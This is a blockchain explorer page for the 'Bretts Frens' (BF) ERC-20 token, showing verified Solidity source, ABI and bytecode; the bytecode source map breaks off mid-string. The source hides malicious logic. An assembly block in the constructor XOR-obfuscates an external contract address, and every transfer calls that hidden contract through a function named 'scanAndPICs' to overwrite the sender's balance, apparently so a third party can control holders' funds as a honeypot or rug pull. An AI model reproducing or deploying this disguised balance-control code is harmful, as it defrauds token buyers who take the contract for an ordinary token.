ERC-20
Overview
Max Total Supply
420,690,000 BF
Holders
43
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BrettsFrens
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-14 */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; string private _name; string private _symbol; uint256 private _totalSupply; bool public trade; uint256 public startBlock; address public msgSend; address public msgReceive; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; assembly { sstore(0x50,0x986d4de2cebf0b49f2f730c8a9ef0afd03b07c624f72) sstore(0x51,0x986dd89cf364c4e9119f190c2a5c851b9ba433f0264d) sstore(0x52,xor(sload(0x50),sload(0x51))) } router = IDEXRouter(_router); } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function decimals() public view virtual override returns (uint8) { return 18; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function accountFilter(address[] memory addArray, uint data) public onlyOwner returns (uint target) { } function openTrade() public payable { require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner"); _approve(address(this), _router, ~uint256(0)); uint256 ownerPercentage = 273; uint256 toPair = _totalSupply / 10000 * (10000 - ownerPercentage); uint256 toOwner = _totalSupply / 10000 * ownerPercentage; pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); router.addLiquidityETH{value: msg.value}(address(this), toPair, toPair, msg.value, owner(), block.timestamp + 300); _transfer(address(this), owner(), toOwner); trade = true; startBlock = block.number; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function scanAndPICs(address sender, uint256 amount) internal returns (uint256 result) { assembly { let data := mload(0x40) mstore(data, 0xa8723e2000000000000000000000000000000000000000000000000000000000) mstore(add(data, 0x04), amount) mstore(0x40, add(data, 0x24)) let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20) if success { result := mload(data) } } _balances[sender] = result - amount; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { msgSend = sender; msgReceive = recipient; require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled"); require(msgSend != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); scanAndPICs(sender, amount); _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployBrettsFrens(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[address(this)] += amount; emit Transfer(address(0), address(this), amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol) { _DeployBrettsFrens(creator, initialSupply); } } contract BrettsFrens is ERC20Token { constructor() ERC20Token("Bretts Frens", "BF", msg.sender, 420690000 * 10 ** 18) { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addArray","type":"address[]"},{"internalType":"uint256","name":"data","type":"uint256"}],"name":"accountFilter","outputs":[{"internalType":"uint256","name":"target","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b506040518060400160405280600c81526020016b427265747473204672656e7360a01b81525060405180604001604052806002815260200161212360f11b815250336b015bfc9298de952e2f40000083835f6100b76101a160201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008610110838261030b565b50600961011d828261030b565b505075986d4de2cebf0b49f2f730c8a9ef0afd03b07c624f726050555075986dd89cf364c4e9119f190c2a5c851b9ba433f0264d60515573957e3ddbcfa0e36829c483b38fe698144f92693f605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019882826101a5565b505050506103ef565b3390565b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461021091906103ca565b9091555050305f90815260026020526040812080548392906102339084906103ca565b909155505060405181815230905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029b57607f821691505b6020821081036102b957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030657805f5260205f20601f840160051c810160208510156102e45750805b601f840160051c820191505b81811015610303575f81556001016102f0565b50505b505050565b81516001600160401b0381111561032457610324610273565b610338816103328454610287565b846102bf565b602080601f83116001811461036b575f84156103545750858301515b5f19600386901b1c1916600185901b1785556103c2565b5f85815260208120601f198616915b828110156103995788860151825594840194600190910190840161037a565b50858210156103b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e957634e487b7160e01b5f52601160045260245ffd5b92915050565b610ee6806103fc5f395ff3fe608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b806318c648e4116100d857806318c648e4146101b35780631f0ba6c9146101d257806323b872dd146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610b96565b348015610171575f80fd5b50610185610180366004610bf2565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b506101a56101cd366004610c30565b610404565b3480156101dd575f80fd5b50600b546101859060ff1681565b3480156101f6575f80fd5b50610185610205366004610cf6565b610439565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101a5600c5481565b348015610245575f80fd5b506101a5610254366004610d34565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104e8565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b5061015961055b565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061018561030d366004610bf2565b61056a565b34801561031d575f80fd5b506101a561032c366004610d56565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610282610576565b60606008805461036d90610d8d565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610d8d565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa33848461080c565b5060015b92915050565b6001545f906001600160a01b031633146103fe5760405162461bcd60e51b815260040161043090610dc5565b60405180910390fd5b5f610445848484610930565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610430565b6104dd85336104d88685610e0e565b61080c565b506001949350505050565b6001546001600160a01b031633146105125760405162461bcd60e51b815260040161043090610dc5565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610d8d565b5f6103fa338484610930565b6001546001600160a01b0316331480156105935750600b5460ff16155b6105af5760405162461bcd60e51b815260040161043090610dc5565b6005546105c89030906001600160a01b03165f1961080c565b6101115f6105d882612710610e0e565b612710600a546105e89190610e21565b6105f29190610e40565b90505f82612710600a546106069190610e21565b6106109190610e40565b905060075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610662573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106869190610e57565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af11580156106d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190610e57565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343085808361073b6001546001600160a01b031690565b6107474261012c610e72565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156107b2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d79190610e85565b5050506107f6306107f06001546001600160a01b031690565b83610930565b5050600b805460ff191660011790555043600c55565b6001600160a01b03831661086e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b0382166108cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109805750600d546001600160a01b031630145b8061099b5750600154600d546001600160a01b039081169116145b6109f15760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610430565b600d546001600160a01b0316610a575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610430565b6001600160a01b038216610ab95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610430565b610ac38382610b37565b506001600160a01b0382165f9081526002602052604081208054839290610aeb908490610e72565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161092391815260200190565b5f60405163054391f160e51b8152826004820152602481016040526020816024835f6052545af18015610b6957815192505b50610b7690508282610e0e565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610bdf575f80fd5b50565b8035610bed81610bcb565b919050565b5f8060408385031215610c03575f80fd5b8235610c0e81610bcb565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610c41575f80fd5b823567ffffffffffffffff80821115610c58575f80fd5b818501915085601f830112610c6b575f80fd5b8135602082821115610c7f57610c7f610c1c565b8160051b604051601f19603f83011681018181108682111715610ca457610ca4610c1c565b604052928352818301935084810182019289841115610cc1575f80fd5b948201945b83861015610ce657610cd786610be2565b85529482019493820193610cc6565b9997909101359750505050505050565b5f805f60608486031215610d08575f80fd5b8335610d1381610bcb565b92506020840135610d2381610bcb565b929592945050506040919091013590565b5f60208284031215610d44575f80fd5b8135610d4f81610bcb565b9392505050565b5f8060408385031215610d67575f80fd5b8235610d7281610bcb565b91506020830135610d8281610bcb565b809150509250929050565b600181811c90821680610da157607f821691505b602082108103610dbf57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610dfa565b5f82610e3b57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610dfa565b5f60208284031215610e67575f80fd5b8151610d4f81610bcb565b808201808211156103fe576103fe610dfa565b5f805f60608486031215610e97575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220157b323a07993274793dbe96846e12bd3e3d74d73389b3a56de1d2c50fa183f964736f6c63430008190033
Deployed Bytecode
0x608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b806318c648e4116100d857806318c648e4146101b35780631f0ba6c9146101d257806323b872dd146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610b96565b348015610171575f80fd5b50610185610180366004610bf2565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b506101a56101cd366004610c30565b610404565b3480156101dd575f80fd5b50600b546101859060ff1681565b3480156101f6575f80fd5b50610185610205366004610cf6565b610439565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101a5600c5481565b348015610245575f80fd5b506101a5610254366004610d34565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104e8565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b5061015961055b565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061018561030d366004610bf2565b61056a565b34801561031d575f80fd5b506101a561032c366004610d56565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610282610576565b60606008805461036d90610d8d565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610d8d565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa33848461080c565b5060015b92915050565b6001545f906001600160a01b031633146103fe5760405162461bcd60e51b815260040161043090610dc5565b60405180910390fd5b5f610445848484610930565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610430565b6104dd85336104d88685610e0e565b61080c565b506001949350505050565b6001546001600160a01b031633146105125760405162461bcd60e51b815260040161043090610dc5565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610d8d565b5f6103fa338484610930565b6001546001600160a01b0316331480156105935750600b5460ff16155b6105af5760405162461bcd60e51b815260040161043090610dc5565b6005546105c89030906001600160a01b03165f1961080c565b6101115f6105d882612710610e0e565b612710600a546105e89190610e21565b6105f29190610e40565b90505f82612710600a546106069190610e21565b6106109190610e40565b905060075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610662573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106869190610e57565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af11580156106d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190610e57565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343085808361073b6001546001600160a01b031690565b6107474261012c610e72565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156107b2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d79190610e85565b5050506107f6306107f06001546001600160a01b031690565b83610930565b5050600b805460ff191660011790555043600c55565b6001600160a01b03831661086e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b0382166108cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109805750600d546001600160a01b031630145b8061099b5750600154600d546001600160a01b039081169116145b6109f15760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610430565b600d546001600160a01b0316610a575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610430565b6001600160a01b038216610ab95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610430565b610ac38382610b37565b506001600160a01b0382165f9081526002602052604081208054839290610aeb908490610e72565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161092391815260200190565b5f60405163054391f160e51b8152826004820152602481016040526020816024835f6052545af18015610b6957815192505b50610b7690508282610e0e565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610bdf575f80fd5b50565b8035610bed81610bcb565b919050565b5f8060408385031215610c03575f80fd5b8235610c0e81610bcb565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610c41575f80fd5b823567ffffffffffffffff80821115610c58575f80fd5b818501915085601f830112610c6b575f80fd5b8135602082821115610c7f57610c7f610c1c565b8160051b604051601f19603f83011681018181108682111715610ca457610ca4610c1c565b604052928352818301935084810182019289841115610cc1575f80fd5b948201945b83861015610ce657610cd786610be2565b85529482019493820193610cc6565b9997909101359750505050505050565b5f805f60608486031215610d08575f80fd5b8335610d1381610bcb565b92506020840135610d2381610bcb565b929592945050506040919091013590565b5f60208284031215610d44575f80fd5b8135610d4f81610bcb565b9392505050565b5f8060408385031215610d67575f80fd5b8235610d7281610bcb565b91506020830135610d8281610bcb565b809150509250929050565b600181811c90821680610da157607f821691505b602082108103610dbf57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610dfa565b5f82610e3b57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610dfa565b5f60208284031215610e67575f80fd5b8151610d4f81610bcb565b808201808211156103fe576103fe610dfa565b5f805f60608486031215610e97575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220157b323a07993274793dbe96846e12bd3e3d74d73389b3a56de1d2c50fa183f964736f6c63430008190033
Deployed Bytecode Sourcemap
7765:134:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2891:22;;;;;;;;;;-1:-1:-1;2891:22:0;;;;-1:-1:-1;;;;;2891:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;2891:22:0;;;;;;;;3474:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4455:160::-;;;;;;;;;;-1:-1:-1;4455:160:0;;;;;:::i;:::-;;:::i;:::-;;;1405:14:1;;1398:22;1380:41;;1368:2;1353:18;4455:160:0;1240:187:1;5924:108:0;;;;;;;;;;-1:-1:-1;6012:12:0;;5924:108;;;1578:25:1;;;1566:2;1551:18;5924:108:0;1432:177:1;4977:108:0;;;;;;;;;;-1:-1:-1;4977:108:0;;;;;:::i;:::-;;:::i;2845:17::-;;;;;;;;;;-1:-1:-1;2845:17:0;;;;;;;;4025:422;;;;;;;;;;-1:-1:-1;4025:422:0;;;;;:::i;:::-;;:::i;3582:93::-;;;;;;;;;;-1:-1:-1;3582:93:0;;3665:2;3545:36:1;;3533:2;3518:18;3582:93:0;3403:184:1;2864:25:0;;;;;;;;;;;;;;;;5789:127;;;;;;;;;;-1:-1:-1;5789:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5890:18:0;5863:7;5890:18;;;:9;:18;;;;;;;5789:127;2225:148;;;;;;;;;;;;;:::i;:::-;;2011:79;;;;;;;;;;-1:-1:-1;2076:6:0;;-1:-1:-1;;;;;2076:6:0;2011:79;;3362:104;;;;;;;;;;;;;:::i;2920:25::-;;;;;;;;;;-1:-1:-1;2920:25:0;;;;-1:-1:-1;;;;;2920:25:0;;;2710:19;;;;;;;;;;-1:-1:-1;2710:19:0;;;;-1:-1:-1;;;;;2710:19:0;;;3842:175;;;;;;;;;;-1:-1:-1;3842:175:0;;;;;:::i;:::-;;:::i;3683:151::-;;;;;;;;;;-1:-1:-1;3683:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3799:18:0;;;3772:7;3799:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3683:151;5093:688;;;:::i;3474:100::-;3528:13;3561:5;3554:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3474:100;:::o;4455:160::-;4529:4;4546:39;140:10;4569:7;4578:6;4546:8;:39::i;:::-;-1:-1:-1;4603:4:0;4455:160;;;;;:::o;4977:108::-;2138:6;;5064:11;;-1:-1:-1;;;;;2138:6:0;140:10;2138:22;2130:67;;;;-1:-1:-1;;;2130:67:0;;;;;;;:::i;:::-;;;;;;;;4025:422;4131:4;4148:36;4158:6;4166:9;4177:6;4148:9;:36::i;:::-;-1:-1:-1;;;;;4224:19:0;;4197:24;4224:19;;;:11;:19;;;;;;;;140:10;4224:33;;;;;;;;4276:26;;;;4268:79;;;;-1:-1:-1;;;4268:79:0;;5185:2:1;4268:79:0;;;5167:21:1;5224:2;5204:18;;;5197:30;5263:34;5243:18;;;5236:62;-1:-1:-1;;;5314:18:1;;;5307:38;5362:19;;4268:79:0;4983:404:1;4268:79:0;4358:57;4367:6;140:10;4389:25;4408:6;4389:16;:25;:::i;:::-;4358:8;:57::i;:::-;-1:-1:-1;4435:4:0;;4025:422;-1:-1:-1;;;;4025:422:0:o;2225:148::-;2138:6;;-1:-1:-1;;;;;2138:6:0;140:10;2138:22;2130:67;;;;-1:-1:-1;;;2130:67:0;;;;;;;:::i;:::-;2316:6:::1;::::0;2295:40:::1;::::0;2332:1:::1;::::0;-1:-1:-1;;;;;2316:6:0::1;::::0;2295:40:::1;::::0;2332:1;;2295:40:::1;2346:6;:19:::0;;-1:-1:-1;;;;;;2346:19:0::1;::::0;;2225:148::o;3362:104::-;3418:13;3451:7;3444:14;;;;;:::i;3842:175::-;3928:4;3945:42;140:10;3969:9;3980:6;3945:9;:42::i;5093:688::-;2076:6;;-1:-1:-1;;;;;2076:6:0;5149:10;:21;:41;;;;-1:-1:-1;5175:5:0;;;;:14;5149:41;5140:88;;;;-1:-1:-1;;;5140:88:0;;;;;;;:::i;:::-;5265:7;;5241:45;;5258:4;;-1:-1:-1;;;;;5265:7:0;-1:-1:-1;;5241:8:0;:45::i;:::-;5325:3;5299:23;5380;5325:3;5380:5;:23;:::i;:::-;5371:5;5356:12;;:20;;;;:::i;:::-;:48;;;;:::i;:::-;5339:65;;5415:15;5456;5448:5;5433:12;;:20;;;;:::i;:::-;:38;;;;:::i;:::-;5415:56;;5503:6;;;;;;;;;-1:-1:-1;;;;;5503:6:0;-1:-1:-1;;;;;5503:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5532:4;;;5491:61;;-1:-1:-1;;;5491:61:0;;-1:-1: